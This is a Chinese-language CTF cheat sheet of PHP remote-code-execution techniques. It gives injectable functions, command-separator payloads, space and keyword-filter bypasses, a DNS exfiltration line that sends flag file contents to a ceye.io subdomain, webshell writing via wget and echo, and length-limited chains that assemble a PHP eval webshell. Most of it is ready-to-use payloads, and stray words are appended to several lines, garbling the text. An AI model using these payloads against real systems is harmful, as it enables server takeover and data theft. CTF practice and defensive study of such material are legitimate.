CTF RCE(遠程代碼執行)

相關函數

代碼注入

  • eval() php

    傳入的必須是有效的 PHP 代碼。全部的語句必須以分號結尾。 return 語句會當即停止當前字符串的執行。linux

    代碼執行的做用域是調用 eval() 處的做用域。所以,eval() 裏任何的變量定義、修改,都會在函數結束後被保留。shell

  • assert() 函數

  • call_user_func()/call_user_func_array() post

    能夠傳遞任何內置函數或用戶自定義函數,除了語言結構如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()url

  • create_function() spa

  • usort()/uasort() code

    例如:blog

    ?1[]=phpinfo()&1[]=123&2=assert
    usort($_GET[1],'assert');
  • ${php代碼} 例如:${phpinfo()};dns

  • ob_start()

命令執行

  • system()

  • exec()/shell_exec()

  • passthru

  • ``運算符

命令執行的繞過

命令執行的分隔符

例子:system("echo ".$_GET[1]);

功能 符號 payload
換行符 %0a ?1=123%0apwd
回車符 %0d 同上
連續指令 ; ?1=123;pwd
後臺進程 & ?1=123&pwd
管道符 |(顯示後面語句的結果) ?1=123|pwd
邏輯運算 ||或&& ?1=123||pwd

空格代替

  • <符號
  • $IFS(好像有問題)
  • ${IFS}
  • $IFS$9
  • %09用於url傳遞

繞過

  • a=l;b=s;$a$b
  • `echo d2hvYW1p|base64 -D`
  • linux命令中能夠加\,因此甚至能夠ca\t /fl\ag
  • 'l's同上

命令執行的各類符號

使用env命令查看本地變量,expr substr來截取須要的字符,拼接成命令執行 例如:

echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

命令無回顯的狀況

判斷

利用

  • 寫shell(直接寫入/外部下載)
    • echo >
    • wget
  • http/dns等方式帶出數據 須要去掉空格,可使用sed等命令 如:echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io

可控字符串長度受限

【CTF 攻略】如何繞過四個字符限制getshell

15個字符

echo  \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php

7個字符

思路: 一、命令+>文件名能夠生產文件(命令能夠爲空) 二、ls -t能夠將文件按時間順序排列 三、sh命令能夠執行sh腳本 四、base64命令能夠避免特殊字符 五、\能夠分行輸入命令

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh

無數字字母getshell

  • 思路:異或、取反
  • 例子:
    $_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n
    $_();//getFlag()

補充

相關文章
相關標籤/搜索